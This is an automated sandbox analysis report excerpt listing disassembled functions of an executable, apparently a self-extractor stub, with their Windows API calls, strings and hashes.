Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 264e9bdf7560bc1007e896c7aafc6d2c1c26e4d05c54777921e665c0f9bb71bf
Instruction ID: 3f33f9db15b3d859e84e3f9e6312ce4bab6348728fdd1763954b71bfc692f809
Opcode Fuzzy Hash: 264e9bdf7560bc1007e896c7aafc6d2c1c26e4d05c54777921e665c0f9bb71bf
Instruction Fuzzy Hash: 4CA002F66B9221BE320B66657EA7D7B127CD8D0F79330893FF401DC481A9806DC51071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F6E1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F6AB

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 59695e73f3f32f15946caa6fab1e43036f05002a65baca9bf79e53e84cc0fdf3
Instruction ID: 88c78bbdd7ef98d0d6d1a2eac7df86ba312afc1f9b50cff7bfe58313bddd59f9
Opcode Fuzzy Hash: 59695e73f3f32f15946caa6fab1e43036f05002a65baca9bf79e53e84cc0fdf3
Instruction Fuzzy Hash: 8CA001A66B9122BD320A62617D27D7A026CC4D8B693348A3AF40298495A9812C851571

Uniqueness

Uniqueness Score: -1.00%

Function 0032F6EB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F6AB

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 491448e5504fce1c972f5d7e4dfbc2a4bec804bf3dd75b9b2e85507790cb3f17
Instruction ID: 88c78bbdd7ef98d0d6d1a2eac7df86ba312afc1f9b50cff7bfe58313bddd59f9
Opcode Fuzzy Hash: 491448e5504fce1c972f5d7e4dfbc2a4bec804bf3dd75b9b2e85507790cb3f17
Instruction Fuzzy Hash: 8CA001A66B9122BD320A62617D27D7A026CC4D8B693348A3AF40298495A9812C851571

Uniqueness

Uniqueness Score: -1.00%

Function 0032F72E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F70C

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4c139685af4dde5bfd22e27ee6cc4ee61f38835ff4dbb2d538a87aaabbf06dd6
Instruction ID: 12c72249b292c8b2345f133feae8e126f7b5644a6aa0d421f0c0df8ed0de5eed
Opcode Fuzzy Hash: 4c139685af4dde5bfd22e27ee6cc4ee61f38835ff4dbb2d538a87aaabbf06dd6
Instruction Fuzzy Hash: A6A001A66A9222BE320A66657E67D7A126CC8D4BA5330893EF4028C481A9806D851071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F71A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F70C

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f4bd62c23b1b45df3655da61edea574ffbf3dce782436fc8e4264b62296dd045
Instruction ID: 12c72249b292c8b2345f133feae8e126f7b5644a6aa0d421f0c0df8ed0de5eed
Opcode Fuzzy Hash: f4bd62c23b1b45df3655da61edea574ffbf3dce782436fc8e4264b62296dd045
Instruction Fuzzy Hash: A6A001A66A9222BE320A66657E67D7A126CC8D4BA5330893EF4028C481A9806D851071

Uniqueness

Uniqueness Score: -1.00%

Function 0031B199 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,0031A083,?,?,-000018C0,?,-00002908,00000000,-00000880,?,00000000,?,?,00000000,0031922F,-00008BE0), ref: 0031B19C

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 91f97065e69a3aa1093bdb40e1fd9f9183737abbdfa7335c92d2543b0bccf542
Instruction ID: 27c4e95a7be124335864a8e2bf087cb965f445aa8d43280f7fe4ee54bc558b55
Opcode Fuzzy Hash: 91f97065e69a3aa1093bdb40e1fd9f9183737abbdfa7335c92d2543b0bccf542
Instruction Fuzzy Hash: E8A01234040009468D411B30D90410C7710E7117C070001A45006CE061CB2244178600

Uniqueness

Uniqueness Score: -1.00%

Function 0032BC19 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0032BFF6,00361890,00000000,00362892,00000006), ref: 0032BC1D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 254c77f9ba2a7f740dd6bd6c261c25fa8233f9fcbb42d9a7ccde67f39b774ec9
Instruction ID: ccee7a7de138a4e1f76ffd588a625abe7c2bf87736a6a6c9294de36644aa48ce
Opcode Fuzzy Hash: 254c77f9ba2a7f740dd6bd6c261c25fa8233f9fcbb42d9a7ccde67f39b774ec9
Instruction Fuzzy Hash: 83A011322002008BA2020B328F0AA0EBAAAAFA2B00F00C038A00088030EB3088B0AA00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0032D420 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 233windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003112F6: GetDlgItem.USER32(00000000,00003021), ref: 0031133A
Part of subcall function 003112F6: SetWindowTextW.USER32(00000000,003445F4), ref: 00311350

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0032D4B1
EndDialog.USER32(?,00000006), ref: 0032D4C4
GetDlgItem.USER32(?,0000006C), ref: 0032D4E0
SetFocus.USER32(00000000), ref: 0032D4E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0032D521
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0032D558
FindFirstFileW.KERNEL32(?,?), ref: 0032D56E

Part of subcall function 0032BC2B: FileTimeToSystemTime.KERNEL32(?,?), ref: 0032BC3F
Part of subcall function 0032BC2B: SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 0032BC50
Part of subcall function 0032BC2B: SystemTimeToFileTime.KERNEL32(?,?), ref: 0032BC5E
Part of subcall function 0032BC2B: FileTimeToSystemTime.KERNEL32(?,?), ref: 0032BC6C
Part of subcall function 0032BC2B: GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0032BC87
Part of subcall function 0032BC2B: GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 0032BCAE
Part of subcall function 0032BC2B: _swprintf.LIBCMT ref: 0032BCD4

_swprintf.LIBCMT ref: 0032D5B7

Part of subcall function 00314A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00314A33

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0032D5CA
FindClose.KERNEL32(00000000), ref: 0032D5D1
_swprintf.LIBCMT ref: 0032D620
SetDlgItemTextW.USER32(?,00000068,?), ref: 0032D633
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0032D650
_swprintf.LIBCMT ref: 0032D683
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0032D696
_swprintf.LIBCMT ref: 0032D6E0
SetDlgItemTextW.USER32(?,00000069,?), ref: 0032D6F3

Part of subcall function 0032C093: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0032C0B9
Part of subcall function 0032C093: GetNumberFormatW.KERNEL32(00000400,00000000,?,0035072C,?,?), ref: 0032C108

Strings

%s %s, xrefs: 0032D5A4, 0032D5B0, 0032D616, 0032D679, 0032D6D6
REPLACEFILEDLG, xrefs: 0032D447

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Item$Time$Text$_swprintf$FileSystem$FormatMessageSend$Find$CloseDateDialogFirstFocusInfoLocalLocaleNumberSpecificWindow__vswprintf_c_l
String ID: %s %s$REPLACEFILEDLG
API String ID: 3464475507-439456425
Opcode ID: bba381b37d52b3b4d69d10d07c217a68aca1a6ece90a5a3a7cd72c025bb8faf8
Instruction ID: 41693c64837133dbe57697bdd85d41e87222ea52be2165c432327aad2dfb9e39
Opcode Fuzzy Hash: bba381b37d52b3b4d69d10d07c217a68aca1a6ece90a5a3a7cd72c025bb8faf8
Instruction Fuzzy Hash: 3771E5725483147BE233AB64EC49FFF77ACEB8A700F410819F64DD6091DBB1A9448B62

Uniqueness

Uniqueness Score: -1.00%

Function 00330A0A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00330A16
IsDebuggerPresent.KERNEL32 ref: 00330AE2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00330B02
UnhandledExceptionFilter.KERNEL32(?), ref: 00330B0C

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1bfc1ed0a8bed2dbe56eb8e6a072415302e5e6cfbd0ee7e20904a84b86adf9ec
Instruction ID: c7997bbf190ca2a4b253ff7193ed77d00fb9efbbe5d85fbda27def347df89f49
Opcode Fuzzy Hash: 1bfc1ed0a8bed2dbe56eb8e6a072415302e5e6cfbd0ee7e20904a84b86adf9ec
Instruction Fuzzy Hash: 2D3129B5D0521C9BDB21DFA4DD897CDBBB8BF08304F1041AAE40DAB250EB759A84CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0032D884 Relevance: 49.4, APIs: 24, Strings: 4, Instructions: 428windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0032D889

Part of subcall function 0032C504: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0032C5EB

_wcslen.LIBCMT ref: 0032DB4F
_wcslen.LIBCMT ref: 0032DB58
SetWindowTextW.USER32(?,?), ref: 0032DBB6
_wcslen.LIBCMT ref: 0032DBF8
_wcsrchr.LIBVCRUNTIME ref: 0032DD40
GetDlgItem.USER32(?,00000066), ref: 0032DD7B
SetWindowTextW.USER32(00000000,?), ref: 0032DD8B
SendMessageW.USER32(00000000,00000143,00000000,0036389A), ref: 0032DD99
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0032DDC4

Strings

ProgramFilesDir, xrefs: 0032DC8A
<br>, xrefs: 0032DB19
%s.%d.tmp, xrefs: 0032DA85
Software\Microsoft\Windows\CurrentVersion, xrefs: 0032DC5F

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: 220a57ea868a1f8b2897dda7cd0c3d39565b8716bf8c071c3e341fa17dfe1a47
Instruction ID: 97c4309b4624e9331e22a6fde16e0d99f28f31b5fbdcbe418b98c5d632615fd0
Opcode Fuzzy Hash: 220a57ea868a1f8b2897dda7cd0c3d39565b8716bf8c071c3e341fa17dfe1a47
Instruction Fuzzy Hash: E2E16672900128AADF26DBA4ED85EEE73BCEF05710F5540A6F609E7054EF749E84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00317AAF Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 337fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00317AB4
_wcslen.LIBCMT ref: 00317B1D
_wcslen.LIBCMT ref: 00317B8E

Part of subcall function 00318704: GetCurrentProcess.KERNEL32(00000020,?), ref: 00318713
Part of subcall function 00318704: OpenProcessToken.ADVAPI32(00000000), ref: 0031871A
Part of subcall function 00318704: GetLastError.KERNEL32 ref: 00318759
Part of subcall function 00318704: CloseHandle.KERNEL32(?), ref: 00318768

Part of subcall function 0031B470: DeleteFileW.KERNELBASE(?,00000000,?,0031A438,?,?,?,?,0031892B,?,?,?,0034380F,000000FF), ref: 0031B481
Part of subcall function 0031B470: DeleteFileW.KERNEL32(?,?,?,00000800,?,0031A438,?,?,?,?,0031892B,?,?,?,0034380F,000000FF), ref: 0031B4AF

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00317C43
CloseHandle.KERNEL32(00000000), ref: 00317C5F
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00317DAB

Part of subcall function 0031B032: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00317ED0,?,?,?,00000000), ref: 0031B04C
Part of subcall function 0031B032: SetFileTime.KERNELBASE(?,?,?,?), ref: 0031B100

Part of subcall function 0031A880: FindCloseChangeNotification.KERNELBASE(000000FF,?,?,0031A83D,?,?,?,?,?,0034380F,000000FF), ref: 0031A89B

Part of subcall function 0031B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0031B5B5,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B8FA
Part of subcall function 0031B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0031B5B5,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B92B

Strings

SeRestorePrivilege, xrefs: 00317ACC
SeCreateSymbolicLinkPrivilege, xrefs: 00317AD6
\??\, xrefs: 00317B35
UNC\, xrefs: 00317B5B

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: File$Close$AttributesCreateDeleteHandleProcess_wcslen$BuffersChangeCurrentErrorFindFlushH_prologLastNotificationOpenTimeToken
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 1504485742-3508440684
Opcode ID: 0d91958e13cb59c48629954ec74f891d0eea01efe62dbd63305dd2d0d633207f
Instruction ID: c8e203639ee71f78b7f3a6b2d54f6cd9c21ab2a0dd9abd60e7fdd00724479126
Opcode Fuzzy Hash: 0d91958e13cb59c48629954ec74f891d0eea01efe62dbd63305dd2d0d633207f
Instruction Fuzzy Hash: F4C1B775904209AEDB2BDB64CC86FEEB7BCAF08310F054565F545EB181DB34EA84CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0031F608 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0031F62E

Part of subcall function 00314A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00314A33

Part of subcall function 003230F5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00353070,00000200,0031EC48,00000000,?,00000050,00353070), ref: 00323112

_strlen.LIBCMT ref: 0031F64F
SetDlgItemTextW.USER32(?,00350274,?), ref: 0031F6AF
GetWindowRect.USER32(?,?), ref: 0031F6E9
GetClientRect.USER32(?,?), ref: 0031F6F5
GetWindowLongW.USER32(?,000000F0), ref: 0031F795
GetWindowRect.USER32(?,?), ref: 0031F7C2
SetWindowTextW.USER32(?,?), ref: 0031F7FB
GetSystemMetrics.USER32(00000008), ref: 0031F803
GetWindow.USER32(?,00000005), ref: 0031F80E
GetWindowRect.USER32(00000000,?), ref: 0031F83B
GetWindow.USER32(00000000,00000002), ref: 0031F8AD

Strings

d, xrefs: 0031F715
CAPTION, xrefs: 0031F7DD
$%s:, xrefs: 0031F622

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 0628dad87f6b2f855842c35017d6f3ace98a6554ffd8938066f1acdb6b36e2ed
Instruction ID: e26626aaeda2c95029a34adc57c498c0b062be449c1e76ea319047b92bfdd43f
Opcode Fuzzy Hash: 0628dad87f6b2f855842c35017d6f3ace98a6554ffd8938066f1acdb6b36e2ed
Instruction Fuzzy Hash: 5381C2722083019FD716DF68CD89FAFBBE8EB88704F04092DF985D7290D671E8458B52

Uniqueness

Uniqueness Score: -1.00%

Function 0033DCE2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0033DD26

Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D8DE
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D8F0
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D902
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D914
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D926
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D938
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D94A
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D95C
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D96E
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D980
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D992
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D9A4
Part of subcall function 0033D8C1: _free.LIBCMT ref: 0033D9B6

_free.LIBCMT ref: 0033DD1B

Part of subcall function 0033A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?), ref: 0033A680
Part of subcall function 0033A66A: GetLastError.KERNEL32(?,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?,?), ref: 0033A692

_free.LIBCMT ref: 0033DD3D
_free.LIBCMT ref: 0033DD52
_free.LIBCMT ref: 0033DD5D
_free.LIBCMT ref: 0033DD7F
_free.LIBCMT ref: 0033DD92
_free.LIBCMT ref: 0033DDA0
_free.LIBCMT ref: 0033DDAB
_free.LIBCMT ref: 0033DDE3
_free.LIBCMT ref: 0033DDEA
_free.LIBCMT ref: 0033DE07
_free.LIBCMT ref: 0033DE1F

Strings

h5, xrefs: 0033DDCE

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: h5
API String ID: 161543041-1056193760
Opcode ID: 79b11954905930149f28d4258081330c4aee0b8516f5918b89fafde5a07dc1ea
